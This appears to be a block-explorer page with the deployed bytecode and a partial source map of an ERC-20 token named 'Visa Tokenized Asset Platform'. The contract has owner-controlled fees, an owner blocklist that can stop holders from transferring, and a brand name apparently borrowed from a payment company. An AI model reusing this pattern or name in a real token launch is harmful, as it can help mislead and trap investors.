Deployed Bytecode

0x60806040526004361061013f575f3560e01c8063751039fc116100b3578063a9059cbb1161006d578063a9059cbb14610399578063bf474bed146103b8578063c876d0b9146103cd578063c9567bf9146103e6578063d34628cc146103fa578063dd62ed3e14610419575f5ffd5b8063751039fc146102f55780637d1db4a5146103095780638da5cb5b1461031e5780638f9a55c01461034457806395d89b4114610359578063a0ef91df14610385575f5ffd5b8063313ce56711610104578063313ce5671461022657806331c2d847146102415780633bbac579146102625780636e90e10f1461029957806370a08231146102ad578063715018a6146102e1575f5ffd5b806306fdde031461014a578063095ea7b3146101a15780630faee56f146101d057806318160ddd146101f357806323b872dd14610207575f5ffd5b3661014657005b5f5ffd5b348015610155575f5ffd5b5060408051808201909152601d81527f5669736120546f6b656e697a656420417373657420506c6174666f726d00000060208201525b6040516101989190611793565b60405180910390f35b3480156101ac575f5ffd5b506101c06101bb3660046117ef565b61045d565b6040519015158152602001610198565b3480156101db575f5ffd5b506101e560125481565b604051908152602001610198565b3480156101fe575f5ffd5b506101e5610473565b348015610212575f5ffd5b506101c0610221366004611819565b610493565b348015610231575f5ffd5b5060405160098152602001610198565b34801561024c575f5ffd5b5061026061025b36600461186b565b6104fa565b005b34801561026d575f5ffd5b506101c061027c366004611936565b6001600160a01b03165f9081526004602052604090205460ff1690565b3480156102a4575f5ffd5b5061026061058a565b3480156102b8575f5ffd5b506101e56102c7366004611936565b6001600160a01b03165f9081526001602052604090205490565b3480156102ec575f5ffd5b50610260610783565b348015610300575f5ffd5b506102606107f4565b348015610314575f5ffd5b506101e5600f5481565b348015610329575f5ffd5b505f546040516001600160a01b039091168152602001610198565b34801561034f575f5ffd5b506101e560105481565b348015610364575f5ffd5b506040805180820190915260048152630565441560e41b602082015261018b565b348015610390575f5ffd5b506102606108af565b3480156103a4575f5ffd5b506101c06103b33660046117ef565b6108e3565b3480156103c3575f5ffd5b506101e560115481565b3480156103d8575f5ffd5b506006546101c09060ff1681565b3480156103f1575f5ffd5b506102606108ef565b348015610405575f5ffd5b5061026061041436600461186b565b610ad4565b348015610424575f5ffd5b506101e5610433366004611951565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610469338484610b58565b5060015b92915050565b5f6104806009600a611a77565b61048e90633b9aca00611a85565b905090565b5f61049f848484610c65565b6104f084336104eb85604051806060016040528060288152602001611c1a602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e50565b610b58565b5060019392505050565b5f546001600160a01b0316331461052c5760405162461bcd60e51b815260040161052390611a9c565b60405180910390fd5b5f5b8151811015610586575f60045f84848151811061054d5761054d611ad3565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905560010161052e565b5050565b5f546001600160a01b031633146105b35760405162461bcd60e51b815260040161052390611a9c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fc9030906105ee6009600a611a77565b6104eb90633b9aca00611a85565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106709190611ae7565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106cf573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f39190611ae7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561073d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107619190611ae7565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107ac5760405162461bcd60e51b815260040161052390611a9c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461081d5760405162461bcd60e51b815260040161052390611a9c565b6108296009600a611a77565b61083790633b9aca00611a85565b600f556108466009600a611a77565b61085490633b9aca00611a85565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61088e6009600a611a77565b61089c90633b9aca00611a85565b60405190815260200160405180910390a1565b5f546001600160a01b031633146108d85760405162461bcd60e51b815260040161052390611a9c565b6108e147610e88565b565b5f610469338484610c65565b5f546001600160a01b031633146109185760405162461bcd60e51b815260040161052390611a9c565b601454600160a01b900460ff16156109725760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610523565b6013546001600160a01b031663f305d71947306109a3816001600160a01b03165f9081526001602052604090205490565b5f5f6109b65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1c573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a419190611b02565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a96573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aba9190611b2d565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610afd5760405162461bcd60e51b815260040161052390611a9c565b5f5b815181101561058657600160045f848481518110610b1f57610b1f611ad3565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610aff565b6001600160a01b038316610bae5760405162461bcd60e51b815260206004820181905260248201527f45524332303a20617070726f76652066726f6d207a65726f20616464726573736044820152606401610523565b6001600160a01b038216610c045760405162461bcd60e51b815260206004820152601e60248201527f45524332303a20617070726f766520746f207a65726f206164647265737300006044820152606401610523565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cc55760405162461bcd60e51b815260206004820152602160248201527f45524332303a207472616e736665722066726f6d207a65726f206164647265736044820152607360f81b6064820152608401610523565b6001600160a01b038216610d1b5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220746f207a65726f2061646472657373006044820152606401610523565b5f8111610d765760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657220616d6f756e74206d757374206265203e207468616e207a60448201526265726f60e81b6064820152608401610523565b601454600160a81b900460ff1680610d985750601454600160b01b900460ff16155b15610e40576001600160a01b0383165f90815260016020526040902054610dbf9082610ec3565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610ded9082610f0b565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c589085815260200190565b610e4b838383610f69565b505050565b5f8184841115610e735760405162461bcd60e51b81526004016105239190611793565b505f610e7f8486611b4c565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610586573d5f5f3e3d5ffd5b5f610f0483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e50565b9392505050565b5f80610f178385611b5f565b905083811015610f045760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610523565b5f546001600160a01b03848116911614801590610f9357505f546001600160a01b03838116911614155b156112cf576001600160a01b0383165f9081526004602052604090205460ff16158015610fd857506001600160a01b0382165f9081526004602052604090205460ff16155b610fe0575f5ffd5b60065460ff16156110c1576013546001600160a01b0383811691161480159061101757506014546001600160a01b03838116911614155b156110c157325f9081526005602052604090205443116110af5760405162461bcd60e51b815260206004820152604760248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c7920312070757263686173652070657220626c6f636b2061606482015266363637bbb2b21760c91b608482015260a401610523565b325f9081526005602052604090204390555b6014546001600160a01b0384811691161480156110ec57506013546001600160a01b03838116911614155b801561111057506001600160a01b0382165f9081526003602052604090205460ff16155b156111f657600f548111156111675760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610523565b60105481611189846001600160a01b03165f9081526001602052604090205490565b6111939190611b5f565b11156111e15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610523565b600e8054905f6111f083611b72565b91905055505b305f90815260016020526040902054601454600160a81b900460ff1615801561122c57506014546001600160a01b038481169116145b80156112415750601454600160b01b900460ff165b80156112505750600d54600e54115b801561127457506001600160a01b0384165f9081526003602052604090205460ff16155b801561129857506001600160a01b0383165f9081526003602052604090205460ff16155b156112cd576011548111156112c4576112c46112bf836112ba846012546113a9565b6113a9565b6113bd565b6112cd47610e88565b505b5f5f6112dc85858561152d565b6001600160a01b0387165f908152600160205260409020549193509150611304908390611b4c565b6001600160a01b0386165f908152600160205260409020556113268382610ec3565b6001600160a01b0385165f908152600160205260409020546113489190611b5f565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113918685610ec3565b60405190815260200160405180910390a35050505050565b5f8183116113b75782610f04565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061140357611403611ad3565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561145a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061147e9190611ae7565b8160018151811061149157611491611ad3565b6001600160a01b0392831660209182029290920101526013546114b79130911684610b58565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ef9085905f90869030904290600401611b8a565b5f604051808303815f87803b158015611506575f5ffd5b505af1158015611518573d5f5f3e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f5f611537611775565b6001600160a01b0380871682526006546101009004166020820152600b54600e545f916115839160649161157d911161157257600754611576565b6009545b889061168f565b9061170d565b6014549091506001600160a01b0387811691161480156115ac57506001600160a01b0387163014155b156115d9576115d6606461157d600c54600e54116115cc57600854611576565b600a54889061168f565b90505b602082015182516001600160a01b0390811691161480156116065760095460095494509450505050611687565b811561167f57305f90815260016020526040902054611626908390611b5f565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116769086815260200190565b60405180910390a35b508493509150505b935093915050565b5f825f0361169e57505f61046d565b5f6116a98385611a85565b9050826116b68583611bfa565b14610f045760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610523565b5f610f0483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836117695760405162461bcd60e51b81526004016105239190611793565b505f610e7f8486611bfa565b60405180604001604052806002906020820280368337509192915050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146117dc575f5ffd5b50565b80356117ea816117c8565b919050565b5f5f60408385031215611800575f5ffd5b823561180b816117c8565b946020939093013593505050565b5f5f5f6060848603121561182b575f5ffd5b8335611836816117c8565b92506020840135611846816117c8565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561187b575f5ffd5b813567ffffffffffffffff811115611891575f5ffd5b8201601f810184136118a1575f5ffd5b803567ffffffffffffffff8111156118bb576118bb611857565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156118e8576118e8611857565b604052918252602081840181019290810187841115611905575f5ffd5b6020850194505b8385101561192b5761191d856117df565b81526020948501940161190c565b509695505050505050565b5f60208284031215611946575f5ffd5b8135610f04816117c8565b5f5f60408385031215611962575f5ffd5b823561196d816117c8565b9150602083013561197d816117c8565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611687578085048111156119bb576119bb611988565b60018416156119c957908102905b60019390931c9280026119a0565b5f826119e55750600161046d565b816119f157505f61046d565b8160018114611a075760028114611a1157611a2d565b600191505061046d565b60ff841115611a2257611a22611988565b50506001821b61046d565b5060208310610133831016604e8410600b8410161715611a50575081810a61046d565b611a5c5f19848461199c565b805f1904821115611a6f57611a6f611988565b029392505050565b5f610f0460ff8416836119d7565b808202811582820484141761046d5761046d611988565b6020808252601a908201527f4f776e61626c653a2063616c6c65722069736e74206f776e6572000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611af7575f5ffd5b8151610f04816117c8565b5f5f5f60608486031215611b14575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611b3d575f5ffd5b81518015158114610f04575f5ffd5b8181038181111561046d5761046d611988565b8082018082111561046d5761046d611988565b5f60018201611b8357611b83611988565b5060010190565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611bda5783516001600160a01b0316835260209384019390920191600101611bb3565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611c1457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d4d1a90f2f0cf3035c3ae932bc170f47e087722be42bdfb1fc82254404eb526864736f6c634300081b0033

Deployed Bytecode Sourcemap

3980:10048:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6395:83;;;;;;;;;;-1:-1:-1;6465:5:0;;;;;;;;;;;;;;;;;6395:83;;;;;;;:::i;:::-;;;;;;;;7278:186;;;;;;;;;;-1:-1:-1;7278:186:0;;;;;:::i;:::-;;:::i;:::-;;;1249:14:1;;1242:22;1224:41;;1212:2;1197:18;7278:186:0;1084:187:1;5221:55:0;;;;;;;;;;;;;;;;;;;1422:25:1;;;1410:2;1395:18;5221:55:0;1276:177:1;6672:95:0;;;;;;;;;;;;;:::i;7472:446::-;;;;;;;;;;-1:-1:-1;7472:446:0;;;;;:::i;:::-;;:::i;6581:83::-;;;;;;;;;;-1:-1:-1;6581:83:0;;4821:1;2113:36:1;;2101:2;2086:18;6581:83:0;1971:184:1;10492:168:0;;;;;;;;;;-1:-1:-1;10492:168:0;;;;;:::i;:::-;;:::i;:::-;;10668:86;;;;;;;;;;-1:-1:-1;10668:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;10739:7:0;10715:4;10739:7;;;:4;:7;;;;;;;;;10668:86;5996:391;;;;;;;;;;;;;:::i;6775:119::-;;;;;;;;;;-1:-1:-1;6775:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6868:18:0;6841:7;6868:18;;;:9;:18;;;;;;;6775:119;3825:148;;;;;;;;;;;;;:::i;12704:201::-;;;;;;;;;;;;;:::i;5030:56::-;;;;;;;;;;;;;;;;3617:79;;;;;;;;;;-1:-1:-1;3655:7:0;3682:6;3617:79;;-1:-1:-1;;;;;3682:6:0;;;3822:51:1;;3810:2;3795:18;3617:79:0;3676:203:1;5093:58:0;;;;;;;;;;;;;;;;6486:87;;;;;;;;;;-1:-1:-1;6558:7:0;;;;;;;;;;;;-1:-1:-1;;;6558:7:0;;;;6486:87;;12600:96;;;;;;;;;;;;;:::i;6902:192::-;;;;;;;;;;-1:-1:-1;6902:192:0;;;;;:::i;:::-;;:::i;5158:56::-;;;;;;;;;;;;;;;;4361:40;;;;;;;;;;-1:-1:-1;4361:40:0;;;;;;;;13542:483;;;;;;;;;;;;;:::i;10320:164::-;;;;;;;;;;-1:-1:-1;10320:164:0;;;;;:::i;:::-;;:::i;7102:168::-;;;;;;;;;;-1:-1:-1;7102:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7235:18:0;;;7208:7;7235:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7102:168;7278:186;7378:4;7395:39;412:10;7418:7;7427:6;7395:8;:39::i;:::-;-1:-1:-1;7452:4:0;7278:186;;;;;:::o;6672:95::-;6725:7;4877:15;4821:1;4877:2;:15;:::i;:::-;4864:28;;:10;:28;:::i;:::-;6745:14;;6672:95;:::o;7472:446::-;7604:4;7621:36;7631:6;7639:9;7650:6;7621:9;:36::i;:::-;7668:220;7691:6;412:10;7739:138;7795:6;7739:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7739:19:0;;;;;;:11;:19;;;;;;;;412:10;7739:33;;;;;;;;;;:37;:138::i;:::-;7668:8;:220::i;:::-;-1:-1:-1;7906:4:0;7472:446;;;;;:::o;10492:168::-;3744:6;;-1:-1:-1;;;;;3744:6:0;412:10;3744:22;3736:61;;;;-1:-1:-1;;;3736:61:0;;;;;;;:::i;:::-;;;;;;;;;10567:6:::1;10562:91;10583:6;:13;10579:1;:17;10562:91;;;10636:5;10618:4;:15;10623:6;10630:1;10623:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10618:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10618:15:0;:23;;-1:-1:-1;;10618:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;10598:3:0::1;10562:91;;;;10492:168:::0;:::o;5996:391::-;3744:6;;-1:-1:-1;;;;;3744:6:0;412:10;3744:22;3736:61;;;;-1:-1:-1;;;3736:61:0;;;;;;;:::i;:::-;6048:15:::1;:104:::0;;-1:-1:-1;;;;;;6048:104:0::1;6099:42;6048:104:::0;;::::1;::::0;;;6163:58:::1;::::0;6180:4:::1;::::0;4877:15:::1;4821:1;4877:2;:15;:::i;:::-;4864:28;::::0;:10:::1;:28;:::i;6163:58::-;6266:15;;;;;;;;;-1:-1:-1::0;;;;;6266:15:0::1;-1:-1:-1::0;;;;;6266:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6248:55:0::1;;6326:4;6346:15;;;;;;;;;-1:-1:-1::0;;;;;6346:15:0::1;-1:-1:-1::0;;;;;6346:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6248:131;::::0;-1:-1:-1;;;;;;6248:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6949:32:1;;;6248:131:0::1;::::0;::::1;6931:51:1::0;7018:32;;6998:18;;;6991:60;6904:18;;6248:131:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6232:13;:147:::0;;-1:-1:-1;;;;;;6232:147:0::1;-1:-1:-1::0;;;;;6232:147:0;;;::::1;::::0;;;::::1;::::0;;5996:391::o;3825:148::-;3744:6;;-1:-1:-1;;;;;3744:6:0;412:10;3744:22;3736:61;;;;-1:-1:-1;;;3736:61:0;;;;;;;:::i;:::-;3932:1:::1;3916:6:::0;;3895:40:::1;::::0;-1:-1:-1;;;;;3916:6:0;;::::1;::::0;3895:40:::1;::::0;3932:1;;3895:40:::1;3963:1;3946:19:::0;;-1:-1:-1;;;;;;3946:19:0::1;::::0;;3825:148::o;12704:201::-;3744:6;;-1:-1:-1;;;;;3744:6:0;412:10;3744:22;3736:61;;;;-1:-1:-1;;;3736:61:0;;;;;;;:::i;:::-;4877:15:::1;4821:1;4877:2;:15;:::i;:::-;4864:28;::::0;:10:::1;:28;:::i;:::-;12758:12;:22:::0;4877:15:::1;4821:1;4877:2;:15;:::i;:::-;4864:28;::::0;:10:::1;:28;:::i;:::-;12791:14;:24:::0;12826:20:::1;:28:::0;;-1:-1:-1;;12826:28:0::1;::::0;;12870:27:::1;4877:15;4821:1;-1:-1:-1::0;4877:15:0::1;:::i;:::-;4864:28;::::0;:10:::1;:28;:::i;:::-;12870:27;::::0;1422:25:1;;;1410:2;1395:18;12870:27:0::1;;;;;;;12704:201::o:0;12600:96::-;3744:6;;-1:-1:-1;;;;;3744:6:0;412:10;3744:22;3736:61;;;;-1:-1:-1;;;3736:61:0;;;;;;;:::i;:::-;12653:35:::1;12666:21;12653:12;:35::i;:::-;12600:96::o:0;6902:192::-;7005:4;7022:42;412:10;7046:9;7057:6;7022:9;:42::i;13542:483::-;3744:6;;-1:-1:-1;;;;;3744:6:0;412:10;3744:22;3736:61;;;;-1:-1:-1;;;3736:61:0;;;;;;;:::i;:::-;13604:11:::1;::::0;-1:-1:-1;;;13604:11:0;::::1;;;13603:12;13595:48;;;::::0;-1:-1:-1;;;13595:48:0;;7264:2:1;13595:48:0::1;::::0;::::1;7246:21:1::0;7303:2;7283:18;;;7276:30;7342:25;7322:18;;;7315:53;7385:18;;13595:48:0::1;7062:347:1::0;13595:48:0::1;13654:15;::::0;-1:-1:-1;;;;;13654:15:0::1;:31;13693:21;13738:4;13758:24;13738:4:::0;-1:-1:-1;;;;;6868:18:0;6841:7;6868:18;;;:9;:18;;;;;;;6775:119;13758:24:::1;13797:1;13813;13829:7;3655::::0;3682:6;-1:-1:-1;;;;;3682:6:0;;3617:79;13829:7:::1;13654:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13654:223:0;;;-1:-1:-1;;;;;7735:32:1;;;13654:223:0::1;::::0;::::1;7717:51:1::0;7784:18;;;7777:34;;;;7827:18;;;7820:34;;;;7870:18;;;7863:34;7934:32;;;7913:19;;;7906:61;13851:15:0::1;7983:19:1::0;;;7976:35;7689:19;;13654:223:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13895:13:0::1;::::0;13926:15:::1;::::0;13888:71:::1;::::0;-1:-1:-1;;;13888:71:0;;-1:-1:-1;;;;;13926:15:0;;::::1;13888:71;::::0;::::1;8657:51:1::0;-1:-1:-1;;8724:18:1;;;8717:34;13895:13:0;::::1;::::0;-1:-1:-1;13888:29:0::1;::::0;8630:18:1;;13888:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13970:11:0::1;:18:::0;;-1:-1:-1;;;;13999:18:0;-1:-1:-1;;;13999:18:0;;;13542:483::o;10320:164::-;3744:6;;-1:-1:-1;;;;;3744:6:0;412:10;3744:22;3736:61;;;;-1:-1:-1;;;3736:61:0;;;;;;;:::i;:::-;10394:6:::1;10389:88;10410:5;:12;10406:1;:16;10389:88;;;10461:4;10444;:14;10449:5;10455:1;10449:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10444:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10444:14:0;:21;;-1:-1:-1;;10444:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;10424:3:0::1;10389:88;;7926:327:::0;-1:-1:-1;;;;;8019:19:0;;8011:64;;;;-1:-1:-1;;;8011:64:0;;9246:2:1;8011:64:0;;;9228:21:1;;;9265:18;;;9258:30;9324:34;9304:18;;;9297:62;9376:18;;8011:64:0;9044:356:1;8011:64:0;-1:-1:-1;;;;;8094:21:0;;8086:64;;;;-1:-1:-1;;;8086:64:0;;9607:2:1;8086:64:0;;;9589:21:1;9646:2;9626:18;;;9619:30;9685:32;9665:18;;;9658:60;9735:18;;8086:64:0;9405:354:1;8086:64:0;-1:-1:-1;;;;;8161:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8213:32;;1422:25:1;;;8213:32:0;;1395:18:1;8213:32:0;;;;;;;;7926:327;;;:::o;11879:598::-;-1:-1:-1;;;;;11972:18:0;;11964:64;;;;-1:-1:-1;;;11964:64:0;;9966:2:1;11964:64:0;;;9948:21:1;10005:2;9985:18;;;9978:30;10044:34;10024:18;;;10017:62;-1:-1:-1;;;10095:18:1;;;10088:31;10136:19;;11964:64:0;9764:397:1;11964:64:0;-1:-1:-1;;;;;12047:16:0;;12039:60;;;;-1:-1:-1;;;12039:60:0;;10368:2:1;12039:60:0;;;10350:21:1;10407:2;10387:18;;;10380:30;10446:33;10426:18;;;10419:61;10497:18;;12039:60:0;10166:355:1;12039:60:0;12132:1;12118:11;:15;12110:63;;;;-1:-1:-1;;;12110:63:0;;10728:2:1;12110:63:0;;;10710:21:1;10767:2;10747:18;;;10740:30;10806:34;10786:18;;;10779:62;-1:-1:-1;;;10857:18:1;;;10850:33;10900:19;;12110:63:0;10526:399:1;12110:63:0;12188:6;;-1:-1:-1;;;12188:6:0;;;;;:22;;-1:-1:-1;12199:11:0;;-1:-1:-1;;;12199:11:0;;;;12198:12;12188:22;12184:238;;;-1:-1:-1;;;;;12245:15:0;;;;;;:9;:15;;;;;;:32;;12265:11;12245:19;:32::i;:::-;-1:-1:-1;;;;;12227:15:0;;;;;;;:9;:15;;;;;;:50;;;;12308:13;;;;;;;:30;;12326:11;12308:17;:30::i;:::-;-1:-1:-1;;;;;12292:13:0;;;;;;;:9;:13;;;;;;;:46;;;;12358:31;;;;;;;;;;12377:11;1422:25:1;;1410:2;1395:18;;1276:177;12184:238:0;12432:37;12447:4;12453:2;12457:11;12432:14;:37::i;:::-;11879:598;;;:::o;1599:224::-;1719:7;1755:12;1747:6;;;;1739:29;;;;-1:-1:-1;;;1739:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1779:9:0;1791:5;1795:1;1791;:5;:::i;:::-;1779:17;1599:224;-1:-1:-1;;;;;1599:224:0:o;12913:93::-;12970:11;;:28;;:11;;;;-1:-1:-1;;;;;12970:11:0;;:28;;;;;;;;;;;;:11;:28;;;;;;;;;;;;;;;;;;;1455:136;1513:7;1540:43;1544:1;1547;1540:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1533:50;1455:136;-1:-1:-1;;;1455:136:0:o;1268:179::-;1326:7;;1358:5;1362:1;1358;:5;:::i;:::-;1346:17;;1387:1;1382;:6;;1374:46;;;;-1:-1:-1;;;1374:46:0;;11395:2:1;1374:46:0;;;11377:21:1;11434:2;11414:18;;;11407:30;11473:29;11453:18;;;11446:57;11520:18;;1374:46:0;11193:351:1;8261:2051:0;3655:7;3682:6;-1:-1:-1;;;;;8350:15:0;;;3682:6;;8350:15;;;;:32;;-1:-1:-1;3655:7:0;3682:6;-1:-1:-1;;;;;8369:13:0;;;3682:6;;8369:13;;8350:32;8346:1725;;;-1:-1:-1;;;;;8408:10:0;;;;;;:4;:10;;;;;;;;8407:11;:24;;;;-1:-1:-1;;;;;;8423:8:0;;;;;;:4;:8;;;;;;;;8422:9;8407:24;8399:33;;;;;;8453:20;;;;8449:520;;;8534:15;;-1:-1:-1;;;;;8520:30:0;;;8534:15;;8520:30;;;;:83;;-1:-1:-1;8589:13:0;;-1:-1:-1;;;;;8575:28:0;;;8589:13;;8575:28;;8520:83;8494:460;;;8709:9;8680:39;;;;:28;:39;;;;;;8722:12;-1:-1:-1;8646:211:0;;;;-1:-1:-1;;;8646:211:0;;11751:2:1;8646:211:0;;;11733:21:1;11790:2;11770:18;;;11763:30;11829:34;11809:18;;;11802:62;11900:34;11880:18;;;11873:62;-1:-1:-1;;;11951:19:1;;;11944:38;11999:19;;8646:211:0;11549:475:1;8646:211:0;8909:9;8880:39;;;;:28;:39;;;;;8922:12;8880:54;;8494:460;9015:13;;-1:-1:-1;;;;;9007:21:0;;;9015:13;;9007:21;:72;;;;-1:-1:-1;9063:15:0;;-1:-1:-1;;;;;9049:30:0;;;9063:15;;9049:30;;9007:72;:116;;;;-1:-1:-1;;;;;;9101:22:0;;;;;;:18;:22;;;;;;;;9100:23;9007:116;8985:438;;;9176:12;;9166:6;:22;;9158:60;;;;-1:-1:-1;;;9158:60:0;;12231:2:1;9158:60:0;;;12213:21:1;12270:2;12250:18;;;12243:30;12309:27;12289:18;;;12282:55;12354:18;;9158:60:0;12029:349:1;9158:60:0;9293:14;;9283:6;9267:13;9277:2;-1:-1:-1;;;;;6868:18:0;6841:7;6868:18;;;:9;:18;;;;;;;6775:119;9267:13;:22;;;;:::i;:::-;:40;;9237:140;;;;-1:-1:-1;;;9237:140:0;;12585:2:1;9237:140:0;;;12567:21:1;12624:2;12604:18;;;12597:30;12663:28;12643:18;;;12636:56;12709:18;;9237:140:0;12383:350:1;9237:140:0;9396:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8985:438;9488:4;9439:28;6868:18;;;:9;:18;;;;;;9532:6;;-1:-1:-1;;;9532:6:0;;;;9531:7;:47;;;;-1:-1:-1;9565:13:0;;-1:-1:-1;;;;;9559:19:0;;;9565:13;;9559:19;9531:47;:79;;;;-1:-1:-1;9599:11:0;;-1:-1:-1;;;9599:11:0;;;;9531:79;:130;;;;;9643:18;;9631:9;;:30;9531:130;:176;;;;-1:-1:-1;;;;;;9683:24:0;;;;;;:18;:24;;;;;;;;9682:25;9531:176;:220;;;;-1:-1:-1;;;;;;9729:22:0;;;;;;:18;:22;;;;;;;;9728:23;9531:220;9509:551;;;9812:17;;9789:20;:40;9786:205;;;9854:117;9897:51;9901:6;9909:38;9913:20;9935:11;;9909:3;:38::i;:::-;9897:3;:51::i;:::-;9854:16;:117::i;:::-;10009:35;10022:21;10009:12;:35::i;:::-;8384:1687;8346:1725;10082:14;10098:12;10114:30;10127:4;10133:2;10137:6;10114:12;:30::i;:::-;-1:-1:-1;;;;;10173:15:0;;;;;;:9;:15;;;;;;10081:63;;-1:-1:-1;10081:63:0;-1:-1:-1;10173:22:0;;10081:63;;10173:22;:::i;:::-;-1:-1:-1;;;;;10155:15:0;;;;;;:9;:15;;;;;:40;10236:16;:6;10247:4;10236:10;:16::i